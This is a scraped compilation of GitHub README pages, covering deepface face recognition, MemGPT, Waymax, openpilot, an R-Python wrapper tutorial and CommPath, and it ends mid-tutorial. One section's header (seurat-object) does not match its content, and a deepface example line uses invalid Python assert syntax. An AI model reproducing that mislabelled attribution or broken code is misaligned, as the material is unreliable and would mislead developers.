  author={Du, Zhengxiao and Qian, Yujie and Liu, Xiao and Ding, Ming and Qiu, Jiezhong and Yang, Zhilin and Tang, Jie},
  booktitle={Proceedings of the 60th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers)},
  pages={320--335},
  year={2022}
}

serengil/deepface

2023-10-29T01:40:18Z

A Lightweight Face Recognition and Facial Attribute Analysis (Age, Gender, Emotion and Race) Library for Python

deepface

Deepface is a lightweight face recognition and facial attribute analysis (age, gender, emotion and race) framework for python. It is a hybrid face recognition framework wrapping state-of-the-art models: VGG-Face, Google FaceNet, OpenFace, Facebook DeepFace, DeepID, ArcFace, Dlib and SFace.

Experiments show that human beings have 97.53% accuracy on facial recognition tasks whereas those models already reached and passed that accuracy level.

Installation

The easiest way to install deepface is to download it from PyPI. It's going to install the library itself and its prerequisites as well.

$ pip install deepface

Secondly, DeepFace is also available at Conda. You can alternatively install the package via conda.

$ conda install -c conda-forge deepface

Thirdly, you can install deepface from its source code.

$ git clone https://github.com/serengil/deepface.git
$ cd deepface
$ pip install -e .

Then you will be able to import the library and use its functionalities.

from deepface import DeepFace

Facial Recognition - Demo

A modern face recognition pipeline consists of 5 common stages: detect, align, normalize, represent and verify. While Deepface handles all these common stages in the background, you don’t need to acquire in-depth knowledge about all the processes behind it. You can just call its verification, find or analysis function with a single line of code.

Face Verification - Demo

This function verifies face pairs as same person or different persons. It expects exact image paths as inputs. Passing numpy or base64 encoded images is also welcome. Then, it is going to return a dictionary and you should check just its verified key.

result = DeepFace.verify(img1_path = "img1.jpg", img2_path = "img2.jpg")

Verification function can also handle many faces in the face pairs. In this case, the most similar faces will be compared.

Face recognition - Demo

Face recognition requires applying face verification many times. Herein, deepface has an out-of-the-box find function to handle this action. It's going to look for the identity of input image in the database path and it will return list of pandas data frame as output. Meanwhile, facial embeddings of the facial database are stored in a pickle file to be searched faster in next time. Result is going to be the size of faces appearing in the source image. Besides, target images in the database can have many faces as well.

dfs = DeepFace.find(img_path = "img1.jpg", db_path = "C:/workspace/my_db")

Embeddings

Face recognition models basically represent facial images as multi-dimensional vectors. Sometimes, you need those embedding vectors directly. DeepFace comes with a dedicated representation function. Represent function returns a list of embeddings. Result is going to be the size of faces appearing in the image path.

embedding_objs = DeepFace.represent(img_path = "img.jpg")

This function returns an array as embedding. The size of the embedding array would be different based on the model name. For instance, VGG-Face is the default model and it represents facial images as 2622 dimensional vectors.

embedding = embedding_objs[0]["embedding"]
assert isinstance(embedding, list)
assert model_name = "VGG-Face" and len(embedding) == 2622

Here, embedding is also plotted with 2622 slots horizontally. Each slot is corresponding to a dimension value in the embedding vector and dimension value is explained in the colorbar on the right. Similar to 2D barcodes, vertical dimension stores no information in the illustration.

Face recognition models - Demo

Deepface is a hybrid face recognition package. It currently wraps many state-of-the-art face recognition models: VGG-Face , Google FaceNet, OpenFace, Facebook DeepFace, DeepID, ArcFace, Dlib and SFace. The default configuration uses VGG-Face model.

models = [
  "VGG-Face", 
  "Facenet", 
  "Facenet512", 
  "OpenFace", 
  "DeepFace", 
  "DeepID", 
  "ArcFace", 
  "Dlib", 
  "SFace",
]

#face verification
result = DeepFace.verify(img1_path = "img1.jpg", 
      img2_path = "img2.jpg", 
      model_name = models[0]
)

#face recognition
dfs = DeepFace.find(img_path = "img1.jpg",
      db_path = "C:/workspace/my_db", 
      model_name = models[1]
)

#embeddings
embedding_objs = DeepFace.represent(img_path = "img.jpg", 
      model_name = models[2]
)

FaceNet, VGG-Face, ArcFace and Dlib are overperforming ones based on experiments. You can find out the scores of those models below on both Labeled Faces in the Wild and YouTube Faces in the Wild data sets declared by its creators.

Model	LFW Score	YTF Score
Facenet512	99.65%	-
SFace	99.60%	-
ArcFace	99.41%	-
Dlib	99.38 %	-
Facenet	99.20%	-
VGG-Face	98.78%	97.40%
Human-beings	97.53%	-
OpenFace	93.80%	-
DeepID	-	97.05%

Similarity

Face recognition models are regular convolutional neural networks and they are responsible to represent faces as vectors. We expect that a face pair of same person should be more similar than a face pair of different persons.

Similarity could be calculated by different metrics such as Cosine Similarity, Euclidean Distance and L2 form. The default configuration uses cosine similarity.

metrics = ["cosine", "euclidean", "euclidean_l2"]

#face verification
result = DeepFace.verify(img1_path = "img1.jpg", 
          img2_path = "img2.jpg", 
          distance_metric = metrics[1]
)

#face recognition
dfs = DeepFace.find(img_path = "img1.jpg", 
          db_path = "C:/workspace/my_db", 
          distance_metric = metrics[2]
)

Euclidean L2 form seems to be more stable than cosine and regular Euclidean distance based on experiments.

Facial Attribute Analysis - Demo

Deepface also comes with a strong facial attribute analysis module including age, gender, facial expression (including angry, fear, neutral, sad, disgust, happy and surprise) and race (including asian, white, middle eastern, indian, latino and black) predictions. Result is going to be the size of faces appearing in the source image.

objs = DeepFace.analyze(img_path = "img4.jpg", 
        actions = ['age', 'gender', 'race', 'emotion']
)

Age model got ± 4.65 MAE; gender model got 97.44% accuracy, 96.29% precision and 95.05% recall as mentioned in its tutorial.

Face Detectors - Demo

Face detection and alignment are important early stages of a modern face recognition pipeline. Experiments show that just alignment increases the face recognition accuracy almost 1%. OpenCV, SSD, Dlib, MTCNN, Faster MTCNN, RetinaFace, MediaPipe, YOLOv8 Face and YuNet detectors are wrapped in deepface.

All deepface functions accept an optional detector backend input argument. You can switch among those detectors with this argument. OpenCV is the default detector.

backends = [
  'opencv', 
  'ssd', 
  'dlib', 
  'mtcnn', 
  'retinaface', 
  'mediapipe',
  'yolov8',
  'yunet',
  'fastmtcnn',
]

#face verification
obj = DeepFace.verify(img1_path = "img1.jpg", 
        img2_path = "img2.jpg", 
        detector_backend = backends[0]
)

#face recognition
dfs = DeepFace.find(img_path = "img.jpg", 
        db_path = "my_db", 
        detector_backend = backends[1]
)

#embeddings
embedding_objs = DeepFace.represent(img_path = "img.jpg", 
        detector_backend = backends[2]
)

#facial analysis
demographies = DeepFace.analyze(img_path = "img4.jpg", 
        detector_backend = backends[3]
)

#face detection and alignment
face_objs = DeepFace.extract_faces(img_path = "img.jpg", 
        target_size = (224, 224), 
        detector_backend = backends[4]
)

Face recognition models are actually CNN models and they expect standard sized inputs. So, resizing is required before representation. To avoid deformation, deepface adds black padding pixels according to the target size argument after detection and alignment.

RetinaFace and MTCNN seem to overperform in detection and alignment stages but they are much slower. If the speed of your pipeline is more important, then you should use opencv or ssd. On the other hand, if you consider the accuracy, then you should use retinaface or mtcnn.

The performance of RetinaFace is very satisfactory even in the crowd as seen in the following illustration. Besides, it comes with an incredible facial landmark detection performance. Highlighted red points show some facial landmarks such as eyes, nose and mouth. That's why, alignment score of RetinaFace is high as well.

The Yellow Angels - Fenerbahce Women's Volleyball Team

You can find out more about RetinaFace on this repo.

Real Time Analysis - Demo

You can run deepface for real time videos as well. Stream function will access your webcam and apply both face recognition and facial attribute analysis. The function starts to analyze a frame if it can focus a face sequentially 5 frames. Then, it shows results 5 seconds.

DeepFace.stream(db_path = "C:/User/Sefik/Desktop/database")

Even though face recognition is based on one-shot learning, you can use multiple face pictures of a person as well. You should rearrange your directory structure as illustrated below.

user
├── database
│   ├── Alice
│   │   ├── Alice1.jpg
│   │   ├── Alice2.jpg
│   ├── Bob
│   │   ├── Bob.jpg

API - Demo

DeepFace serves an API as well. You can clone /api folder and run the api via gunicorn server. This will get a rest service up. In this way, you can call deepface from an external system such as mobile app or web.

cd scripts
./service.sh

Face recognition, facial attribute analysis and vector representation functions are covered in the API. You are expected to call these functions as http post methods. Default service endpoints will be http://localhost:5000/verify for face recognition, http://localhost:5000/analyze for facial attribute analysis, and http://localhost:5000/represent for vector representation. You can pass input images as exact image paths on your environment, base64 encoded strings or images on web. Here, you can find a postman project to find out how these methods should be called.

Dockerized Service

You can deploy the deepface api on a kubernetes cluster with docker. The following shell script will serve deepface on localhost:5000. You need to re-configure the Dockerfile if you want to change the port. Then, even if you do not have a development environment, you will be able to consume deepface services such as verify and analyze. You can also access the inside of the docker image to run deepface related commands. Please follow the instructions in the shell script.

cd scripts
./dockerize.sh

Command Line Interface

DeepFace comes with a command line interface as well. You are able to access its functions in command line as shown below. The command deepface expects the function name as 1st argument and function arguments thereafter.

#face verification
$ deepface verify -img1_path tests/dataset/img1.jpg -img2_path tests/dataset/img2.jpg

#facial analysis
$ deepface analyze -img_path tests/dataset/img1.jpg

You can also run these commands if you are running deepface with docker. Please follow the instructions in the shell script.

Contribution

Pull requests are more than welcome! You should run the unit tests locally by running test/unit_tests.py before creating a PR. Once a PR sent, GitHub test workflow will be run automatically and unit test results will be available in GitHub actions before approval. Besides, workflow will evaluate the code with pylint as well.

Support

There are many ways to support a project - starring⭐️ the GitHub repo is just one 🙏

You can also support this work on Patreon or GitHub Sponsors.

Citation

Please cite deepface in your publications if it helps your research. Here are its BibTex entries:

If you use deepface for facial recogntion purposes, please cite the this publication.

@inproceedings{serengil2020lightface,
  title        = {LightFace: A Hybrid Deep Face Recognition Framework},
  author       = {Serengil, Sefik Ilkin and Ozpinar, Alper},
  booktitle    = {2020 Innovations in Intelligent Systems and Applications Conference (ASYU)},
  pages        = {23-27},
  year         = {2020},
  doi          = {10.1109/ASYU50717.2020.9259802},
  url          = {https://doi.org/10.1109/ASYU50717.2020.9259802},
  organization = {IEEE}
}

If you use deepface for facial attribute analysis purposes such as age, gender, emotion or ethnicity prediction or face detection purposes, please cite the this publication.

@inproceedings{serengil2021lightface,
  title        = {HyperExtended LightFace: A Facial Attribute Analysis Framework},
  author       = {Serengil, Sefik Ilkin and Ozpinar, Alper},
  booktitle    = {2021 International Conference on Engineering and Emerging Technologies (ICEET)},
  pages        = {1-4},
  year         = {2021},
  doi          = {10.1109/ICEET53442.2021.9659697},
  url          = {https://doi.org/10.1109/ICEET53442.2021.9659697},
  organization = {IEEE}
}

Also, if you use deepface in your GitHub projects, please add deepface in the requirements.txt.

Licence

Deepface is licensed under the MIT License - see LICENSE for more details.

cpacker/MemGPT

2023-10-29T02:00:02Z

Teaching LLMs memory management for unbounded context 📚🦙

MemGPT

Try out our MemGPT chatbot on Discord!

⭐ NEW: You can now run MemGPT with local LLMs and AutoGen! ⭐

🤖 Create perpetual chatbots with self-editing memory!

🗃️ Chat with your data - talk to your SQL database or your local files!

SQL Database

Local files

📄 You can also talk to docs - for example ask about LlamaIndex!

ChatGPT (GPT-4) when asked the same question:

(Question from https://github.com/run-llama/llama_index/issues/7756)

Quick setup

Join Discord and message the MemGPT bot (in the #memgpt channel). Then run the following commands (messaged to "MemGPT Bot"):

/profile (to create your profile)
/key (to enter your OpenAI key)
/create (to create a MemGPT chatbot)

Make sure your privacy settings on this server are open so that MemGPT Bot can DM you:
MemGPT → Privacy Settings → Direct Messages set to ON

You can see the full list of available commands when you enter / into the message box.

What is MemGPT?

Running MemGPT locally

Install MemGPT:

pip install pymemgpt

To update the package, run

pip install pymemgpt -U

Add your OpenAI API key to your environment:

# on Linux/Mac
export OPENAI_API_KEY=YOUR_API_KEY

# on Windows
set OPENAI_API_KEY=YOUR_API_KEY

# on Windows (PowerShell)
$Env:OPENAI_API_KEY = "YOUR_API_KEY"

To run MemGPT for as a conversation agent in CLI mode, simply run memgpt:

memgpt

Debugging command not found

python -m memgpt

Building from source

Clone this repo: git clone https://github.com/cpacker/MemGPT.git

Using poetry:

Install poetry: pip install poetry
Run poetry install
Run poetry run memgpt

Using pip:

Run pip install -e .
Run python3 main.py

If you're using Azure OpenAI, set these variables instead:

# see https://github.com/openai/openai-python#microsoft-azure-endpoints
export AZURE_OPENAI_KEY = ...
export AZURE_OPENAI_ENDPOINT = ...
export AZURE_OPENAI_VERSION = ...

# set the below if you are using deployment ids
export AZURE_OPENAI_DEPLOYMENT = ...
export AZURE_OPENAI_EMBEDDINGS_DEPLOYMENT = ...

# then use the --use_azure_openai flag
memgpt --use_azure_openai

# assuming you created a new file ~/.memgpt/humans/me.txt
memgpt
# Select me.txt during configuration process

-- OR --

# assuming you created a new file ~/.memgpt/humans/me.txt
memgpt --human me.txt

You can also specify any of the starter users in /memgpt/humans/examples or any of the starter personas in /memgpt/personas/examples.

GPT-3.5 support

You can run MemGPT with GPT-3.5 as the LLM instead of GPT-4:

memgpt
# Select gpt-3.5 during configuration process

-- OR --

memgpt --model gpt-3.5-turbo

Note that this is experimental gpt-3.5-turbo support. It's quite buggy compared to gpt-4, but it should be runnable.

Please report any bugs you encounter regarding MemGPT running on GPT-3.5 to https://github.com/cpacker/MemGPT/issues/59.

Local LLM support

You can run MemGPT with local LLMs too. See instructions here and report any bugs/improvements here https://github.com/cpacker/MemGPT/discussions/67.

`main.py` flags

--first
  allows you to send the first message in the chat (by default, MemGPT will send the first message)
--debug
  enables debugging output

Configure via legacy flags

--model
  select which model to use ('gpt-4', 'gpt-3.5-turbo-0613', 'gpt-3.5-turbo')
--persona
  load a specific persona file
--human
  load a specific human file
--archival_storage_faiss_path=<ARCHIVAL_STORAGE_FAISS_PATH>
  load in document database (backed by FAISS index)
--archival_storage_files="<ARCHIVAL_STORAGE_FILES_GLOB_PATTERN>"
  pre-load files into archival memory
--archival_storage_files_compute_embeddings="<ARCHIVAL_STORAGE_FILES_GLOB_PATTERN>"
  pre-load files into archival memory and also compute embeddings for embedding search
--archival_storage_sqldb=<SQLDB_PATH>
  load in SQL database

Interactive CLI commands

These are the commands for the CLI, not the Discord bot! The Discord bot has separate commands you can see in Discord by typing /.

While using MemGPT via the CLI (not Discord!) you can run various commands:

//
  toggle multiline input mode
/exit
  exit the CLI
/save
  save a checkpoint of the current agent/conversation state
/load
  load a saved checkpoint
/dump
  view the current message log (see the contents of main context)
/memory
  print the current contents of agent memory
/pop
  undo the last message in the conversation
/heartbeat
  send a heartbeat system message to the agent
/memorywarning
  send a memory warning system message to the agent

Example applications

Use MemGPT to talk to your Database!

MemGPT's archival memory let's you load your database and talk to it! To motivate this use-case, we have included a toy example.

Consider the test.db already included in the repository.

id	name	age
1	Alice	30
2	Bob	25
3	Charlie	35

To talk to this database, run:

memgpt --archival_storage_sqldb=memgpt/personas/examples/sqldb/test.db

And then you can input the path to your database, and your query.

Please enter the path to the database. test.db
...
Enter your message: How old is Bob?
...
🤖 Bob is 25 years old.

Loading local files into archival memory

MemGPT enables you to chat with your data locally -- this example gives the workflow for loading documents into MemGPT's archival memory.

To run our example where you can search over the SEC 10-K filings of Uber, Lyft, and Airbnb,

Download the .txt files from Hugging Face and place them in memgpt/personas/examples/preload_archival.

In the root MemGPT directory, run

memgpt --archival_storage_files="memgpt/personas/examples/preload_archival/*.txt" --persona=memgpt_doc --human=basic

Enhance with embeddings search

In the root MemGPT directory, run

memgpt main.py --archival_storage_files_compute_embeddings="<GLOB_PATTERN>" --persona=memgpt_doc --human=basic

This will generate embeddings, stick them into a FAISS index, and write the index to a directory, and then output:

  To avoid computing embeddings next time, replace --archival_storage_files_compute_embeddings=<GLOB_PATTERN> with
    --archival_storage_faiss_path=<DIRECTORY_WITH_EMBEDDINGS> (if your files haven't changed).

If you want to reuse these embeddings, run

memgpt --archival_storage_faiss_path="<DIRECTORY_WITH_EMBEDDINGS>" --persona=memgpt_doc --human=basic

Talking to LlamaIndex API Docs

MemGPT also enables you to chat with docs -- try running this example to talk to the LlamaIndex API docs!

a. Download LlamaIndex API docs and FAISS index from Hugging Face.

# Make sure you have git-lfs installed (https://git-lfs.com)
git lfs install
git clone https://huggingface.co/datasets/MemGPT/llamaindex-api-docs
mv llamaindex-api-docs

-- OR --

b. Build the index:

Build llama_index API docs with make text. Instructions here. Copy over the generated _build/text folder to memgpt/personas/docqa.

Generate embeddings and FAISS index.

cd memgpt/personas/docqa
python3 scrape_docs.py
python3 generate_embeddings_for_docs.py all_docs.jsonl
python3 build_index.py --embedding_files all_docs.embeddings.jsonl --output_index_file all_docs.index

In the root MemGPT directory, run
```
memgpt --archival_storage_faiss_path=<ARCHIVAL_STORAGE_FAISS_PATH> --persona=memgpt_doc --human=basic
```
where ARCHIVAL_STORAGE_FAISS_PATH is the directory where all_docs.jsonl and all_docs.index are located. If you downloaded from Hugging Face, it will be memgpt/personas/docqa/llamaindex-api-docs. If you built the index yourself, it will be memgpt/personas/docqa.

Support

If you have any further questions, or have anything to share, we are excited to hear your feedback!

By default MemGPT will use gpt-4, so your API key will require gpt-4 API access
For issues and feature requests, please open a GitHub issue or message us on our #support channel on Discord

Datasets

Datasets used in our paper can be downloaded at Hugging Face.

🚀 Project Roadmap

Release MemGPT Discord bot demo (perpetual chatbot)
Add additional workflows (load SQL/text into MemGPT external context)
Integration tests
Integrate with AutoGen (discussion)
Add official gpt-3.5-turbo support (discussion)
CLI UI improvements (issue)
Add support for other LLM backends (issue, discussion)
Release MemGPT family of open models (eg finetuned Mistral) (discussion)

Development

Reminder: if you do not plan on modifying the source code, simply install MemGPT with pip install pymemgpt!

First, install Poetry using the official instructions here.

Then, you can install MemGPT from source with:

git clone git@github.com:cpacker/MemGPT.git
poetry shell
poetry install

We recommend installing pre-commit to ensure proper formatting during development:

pip install pre-commit
pre-commit install
pre-commit run --all-files

Contributing

We welcome pull requests! Please run the formatter before submitting a pull request:

poetry run black . -l 140

waymo-research/waymax

2023-10-29T02:00:02Z

A JAX-based simulator for autonomous driving research.

Waymax: An accelerated simulator for autonomous driving research.

Documentation | Tutorials

Overview

Waymax is a lightweight, multi-agent, JAX-based simulator for autonomous driving research based on the Waymo Open Motion Dataset. Waymax is designed to support research for all aspects of behavior research in autonomous driving - from closed-loop simulation for planning and sim agent research to open-loop behavior prediction. Objects (e.g. vehicles, pedestrians) are represented as bounding boxes, rather than raw sensor outputs, in order to distill behavior research into its simplest form.

As all components are entirely written in JAX, Waymax is easily distributed and deployed on hardware accelerators, such as GPUs and TPUs.

Installation

Waymax can be installed via pip using the following command:

pip install --upgrade pip
pip install git+https://github.com/waymo-research/waymax.git@main#egg=waymo-waymax

Please refer to JAX for specific instructions on how to setup JAX with GPU/CUDA support if needed.

Configure access to Waymo Open Motion Dataset

Waymax is designed to work with the Waymo Open Motion dataset out of the box.

A simple way to configure access is the following:

Apply for Waymo Open Dataset access.
Install gcloud CLI
Run gcloud auth login <your_email> with the same email used for step 1.
Run gcloud auth application-default login.

Please reference TF Datasets for alternative methods to authentication.

Components

Structurally, Waymax is comprised of a collection of libraries for loading Open Motion data, visualization, computing common metrics, intelligent sim agents, and adapters to common RL interfaces such as dm-env. These libraries can be used as standalone modules, or used together in full closed-loop simulation.

Dataloading

The waymax.dataloader module contains utilities for loading data from the Waymo Open Motion Dataset.

from waymax import config
from waymax import dataloader

scenarios = dataloader.simulator_state_generator(config.WOD_1_1_0_TRAINING)
scenario = next(scenarios)

Metrics

The waymax.metrics module defines commonly used metrics for evaluating agents. These metrics can be used to evaluate simulated rollouts, or open-loop predictions from behavior models. Supported metrics include:

Agents

The waymax.agents module defines intelligent simulated agents for realistic simulation. Waymax currently supports:

Log-playback
IDM

Environments and dynamics

The waymax.env module defines a stateless, closed-loop simulator interface as well as adapters to common RL interfaces such as dm-env and brax.

A multi-agent simulation with rewards computed for all agents can be run as follows:

from waymax import env, config, dynamics, datatypes

# Initialization
dynamics_model = dynamics.InvertibleBicycleModel()
env_config = config.EnvironmentConfig()
scenarios = dataloader.simulator_state_generator(config.WOD_1_1_0_TRAINING)
waymax_env = env.MultiAgentEnvironment(dynamics_model, env_config)

# Rollout
state = waymax_env.reset(next(scenarios))
total_returns = 0
while not state.is_done:
  action = datatypes.Action(data=..., valid=...)  # Compute action here
  total_returns += waymax_env.reward(state, action)
  state = waymax_env.step(state, action)

Tutorials

We provide a few colab tutorials for getting started:

data_demo.ipynb shows how to load the data and use the top-down view visualization.
multi_actors_demo.ipynb shows how to instantiate multiple agents and run a simple closed-loop simulation.
wosac_submission_via_waymax.ipynb shows how to create a Waymo Open Sim Agents Challenge submission file.

Citing Waymax

If you use Waymax for your own research, please cite Waymax in accordance with the requirements of the Waymax License Agreement for Non-Commercial Use, including using the following bibtex entry:

@inproceedings{waymax,
title={Waymax: An Accelerated, Data-Driven
Simulator for Large-Scale Autonomous Driving Research},
author={Cole Gulino and Justin Fu and Wenjie
Luo and George Tucker and Eli Bronstein and Yiren Lu and Jean Harb and Xinlei Pan and Yan Wang and Xiangyu Chen and John
D. Co-Reyes and Rishabh Agarwal and Rebecca Roelofs and Yao Lu and Nico Montali and Paul Mougin and Zoey Yang and
Brandyn White and Aleksandra Faust, and Rowan McAllister and Dragomir Anguelov and Benjamin Sapp},
booktitle={Proceedings of the Neural Information Processing Systems Track on Datasets and
Benchmarks},year={2023}}

commaai/openpilot

2023-10-29T02:00:02Z

openpilot is an open source driver assistance system. openpilot performs the functions of Automated Lane Centering and Adaptive Cruise Control for 250+ supported car makes and models.

What is openpilot?

openpilot is an open source driver assistance system. Currently, openpilot performs the functions of Adaptive Cruise Control (ACC), Automated Lane Centering (ALC), Forward Collision Warning (FCW), and Lane Departure Warning (LDW) for a growing variety of supported car makes, models, and model years. In addition, while openpilot is engaged, a camera-based Driver Monitoring (DM) feature alerts distracted and asleep drivers. See more about the vehicle integration and limitations.

Running on a dedicated device in a car

To use openpilot in a car, you need four things

Supported Device: A comma 3/3X. You can purchase these devices from (https://comma.ai/shop/comma-3x)
Software: The setup procedure for the comma 3/3X allows users to enter a URL for custom software. To install the release version of openpilot, use the URL openpilot.comma.ai. To install openpilot master (for more advanced users), use the URL installer.comma.ai/commaai/master. You can replace "commaai" with another GitHub username to install a fork.
Supported Car: Ensure that you have one of the 250+ supported cars. openpilot supports a wide range of car makes including Honda, Toyota, Hyundai, Nissan, Kia, Chrysler, Lexus, Acura, Audi, VW, Ford, and many more. If your car is not officially listed as supported but has adaptive cruise control and lane-keeping assist, it's likely capable of running openpilot.
Car Harness: You will also need a car harness to connect your comma 3/3X to your car. We have detailed instructions for how to install the harness and device in a car.

Running on PC

All openpilot services can run as usual on a PC without requiring special hardware or a car. You can also run openpilot on recorded or simulated data to develop or experiment with openpilot.

With openpilot's tools, you can plot logs, replay drives, and watch the full-res camera streams. See the tools README for more information.

You can also run openpilot in simulation with the CARLA simulator. This allows openpilot to drive around a virtual car on your Ubuntu machine. The whole setup should only take a few minutes but does require a decent GPU.

A PC running openpilot can also control your vehicle if it is connected to a webcam, a black panda, and a harness.

Community and Contributing

openpilot is developed by comma and by users like you. We welcome both pull requests and issues on GitHub. Bug fixes and new car ports are encouraged. Check out the contributing docs.

Documentation related to openpilot development can be found on docs.comma.ai. Information about running openpilot (e.g. FAQ, fingerprinting, troubleshooting, custom forks, community hardware) should go on the wiki.

You can add support for your car by following guides we have written for Brand and Model ports. Generally, a car with adaptive cruise control and lane keep assist is a good candidate. Join our Discord to discuss car ports: most car makes have a dedicated channel.

Want to get paid to work on openpilot? comma is hiring.

And follow us on Twitter.

User Data and comma Account

By default, openpilot uploads the driving data to our servers. You can also access your data through comma connect. We use your data to train better models and improve openpilot for everyone.

openpilot is open source software: the user is free to disable data collection if they wish to do so.

openpilot logs the road-facing cameras, CAN, GPS, IMU, magnetometer, thermal sensors, crashes, and operating system logs. The driver-facing camera is only logged if you explicitly opt-in in settings. The microphone is not recorded.

By using openpilot, you agree to our Privacy Policy. You understand that use of this software or its related services will generate certain types of user data, which may be logged and stored at the sole discretion of comma. By accepting this agreement, you grant an irrevocable, perpetual, worldwide right to comma for the use of this data.

Safety and Testing

openpilot observes ISO26262 guidelines, see SAFETY.md for more details.
openpilot has software-in-the-loop tests that run on every commit.
The code enforcing the safety model lives in panda and is written in C, see code rigor for more details.
panda has software-in-the-loop safety tests.
Internally, we have a hardware-in-the-loop Jenkins test suite that builds and unit tests the various processes.
panda has additional hardware-in-the-loop tests.
We run the latest openpilot in a testing closet containing 10 comma devices continuously replaying routes.

Directory Structure

.
├── cereal              # The messaging spec and libs used for all logs
├── common              # Library like functionality we've developed here
├── docs                # Documentation
├── opendbc             # Files showing how to interpret data from cars
├── panda               # Code used to communicate on CAN
├── third_party         # External libraries
└── system              # Generic services
    ├── camerad         # Driver to capture images from the camera sensors
    ├── hardware        # Hardware abstraction classes
    ├── logcatd         # systemd journal as a service
    ├── loggerd         # Logger and uploader of car data
    ├── proclogd        # Logs information from /proc
    ├── sensord         # IMU interface code
    └── ubloxd          # u-blox GNSS module interface code
└── selfdrive           # Code needed to drive the car
    ├── assets          # Fonts, images, and sounds for UI
    ├── athena          # Allows communication with the app
    ├── boardd          # Daemon to talk to the board
    ├── car             # Car specific code to read states and control actuators
    ├── controls        # Planning and controls
    ├── debug           # Tools to help you debug and do car ports
    ├── locationd       # Precise localization and vehicle parameter estimation
    ├── manager         # Daemon that starts/stops all other daemons as needed
    ├── modeld          # Driving and monitoring model runners
    ├── monitoring      # Daemon to determine driver attention
    ├── navd            # Turn-by-turn navigation
    ├── test            # Unit tests, system tests, and a car simulator
    └── ui              # The UI

Licensing

openpilot is released under the MIT license. Some parts of the software are released under other licenses as specified.

Any user of this software shall indemnify and hold harmless Comma.ai, Inc. and its directors, officers, employees, agents, stockholders, affiliates, subcontractors and customers from and against all allegations, claims, actions, suits, demands, damages, liabilities, obligations, losses, settlements, judgments, costs and expenses (including without limitation attorneys’ fees and costs) which arise out of, relate to or result from any use of this software by user.

THIS IS ALPHA QUALITY SOFTWARE FOR RESEARCH PURPOSES ONLY. THIS IS NOT A PRODUCT. YOU ARE RESPONSIBLE FOR COMPLYING WITH LOCAL LAWS AND REGULATIONS. NO WARRANTY EXPRESSED OR IMPLIED.

vinceliuice/MacSonoma-kde

2023-10-29T02:00:26Z

MacOS Sonoma theme for KDE Plasma

mojaveazure/seurat-object

2023-10-29T01:40:48Z

Exporting python functions in R packages

pyfns

This package serves to illustrate a minimal approach to exporting Python functions in R packages.

The process is fairly simple.

We create an environment inside of our package
On package start-up we source python scripts using reticulate::source_python() into the new environment
We create R wrapper functions that call the reticulated function.

Example usage:

pyfns::hello_world()
#> [1] "Helloooo world"

Storing Python Scripts

Store python scripts inside of inst/. These files can be read using system.file(). In this example inst/helloworld.py contains

def hello_world():
  return "Helloooo world"

Creating an environment

Before we can source python scripts, we must create an environment to soure them into. This is done in R/env.R like so

pyfn_env <- rlang::env()

Sourcing scripts

Scripts are sourced in R/zzz.R in which there is an .onLoad() function call. This gets called only once when the package is loaded.

.onLoad <- function(libname, pkgname){
  reticulate::source_python(
    system.file("helloworld.py", package = "pyfns"),
    envir = pyfn_env
  )
}

In this chunk we use reticulate::source_python() to bring the python function into scope. The function needs a path to the python script that we want to source. This is where system.file() comes into play. It can access files stored in inst. Note that it does not include inst. And most importantly we set envir = pyfn_env which is the environment we created in R/env.R

Wrapper functions

Since the functions are being sourced into pyfn_env they can be called from the environment directly. In R/env.R, the R function hello_world() is just calling the hello_world() python function from the pyfn_env. If there were arguments we can pass them in using ... in the outer function or recreating the same function arguments.

#'@export
hello_world <- function() {
  pyfn_env$hello_world()
}

yingyonghui/CommPath

2023-10-30T01:34:41Z

R toolkit for inference and analysis of pathway-mediated cell-cell communication chain from single-cell transcriptomics

CommPath

CommPath is an R package for inference and analysis of ligand-receptor interactions from single cell RNA sequencing data.

Installation

CommPath R package can be easily installed from Github using devtools:

devtools::install_github("yingyonghui/CommPath")
library(CommPath)

Dependencies

library(Matrix)
library(circlize)
library(ggplot2)
library(dplyr)
library(reshape2)
library(GSVA) (suggested)

Tutorials

In this vignette we show CommPath's steps and functionalities for inference and analysis of ligand-receptor interactions by applying it to a scRNA-seq data (GEO accession number: GSE156337) on cells from hepatocellular carcinoma (HCC) patients.

Brief description of CommPath object

We start CommPath analysis by creating a CommPath object, which is a S4 object and consists of six slots including (i) data, a matrix containing the normalized expression values by gene * cell; (ii) cell.info, a dataframe contain the information of cells; (iii) meta.info, a list containing some important parameters used during the analysis; (iv) LR.marker, a dataframe containing the result of differential expression test of ligands and receptors; (v) interact, a list containing the information of LR interaction among clusters; (vi) interact.filter, a list containing the information of filtered LR interaction among clusters; (vii) pathway, a list containing the information of pathways related to the ligands and receptors; (viii) pathway.net, a list containing the integrated information of the statistics of LR interactions and associated pathways.

CommPath input

The expression matrix and cell identity information are required for CommPath input. We downloaded the processed HCC scRNA-seq data from Mendeley data. For a fast review and illustration of CommPath's functionalities, we randomly selected the expression data of 3000 cells across the top 5000 highly variable genes from the tumor and normal tissues, respectively. The example data are available in figshare. We here illustrate the CommPath steps for data from the tumor tissues. And analysis for data from the normal tissues would be roughly in the same manner.

# load(url("https://figshare.com/ndownloader/files/35185522"))
load("path_to_download/HCC.tumor.3k.RData")

This dataset consists of 3 varibles, 2 of which are required for CommPath input: tumor.expr : the expression matrix of gene * cell. Expression values are required to be first normalized by the library-size and log-transformed; tumor.label : a vector of labels indicating identity classes of cells in the expression matrix, and the order of labels should match the order of cells in the expression matrix. The remaining one variable tumor.obj is the CommPath object created from tumor.expr and tumor.label and processed by CommPath standard procedures. This variable would be temporarily ignored since we will recreate it by the following steps.

Identification of marker ligands and receptors

We start CommPath analysis by creating a CommPath object:

tumor.obj <- createCommPath(expr.mat = tumor.expr, 
		cell.info = tumor.label, 
		species = "hsapiens")

CommPath contains LR and pathway databases for human (hsapiens), mouse (mmusculus), rat (rnorvegicus), zebrafish (drerio), fruitfly (dmelanogaster), and worm (celegans) species.

Firstly we're supposed to identify marker ligands and receptors (ligands and receptors that are significantly highly expressed) for each cluster of cells in the expression matrix. CommPath provide findLRmarker to identify these markers by t.test or wilcox.test.

tumor.obj <- findLRmarker(object = tumor.obj, method = "wilcox.test")

Statistical identification of potential ligand-receptor (LR) associations

# To find significant LR pairs
tumor.obj <- findLRpairs(object = tumor.obj,
		logFC.thre = 0, 
		p.thre = 0.01)

The counts of Statistically significant LR pairs and overall interaction intensity among cell clusters are then stored in tumor.obj@interact[['InteractNumer']]，and the detailed information of each LR pair is stored in tumor.obj@interact[['InteractGene']].

Then we can visualize all interactions through a circos plot:

# To show the counts of LR associations among all clusters
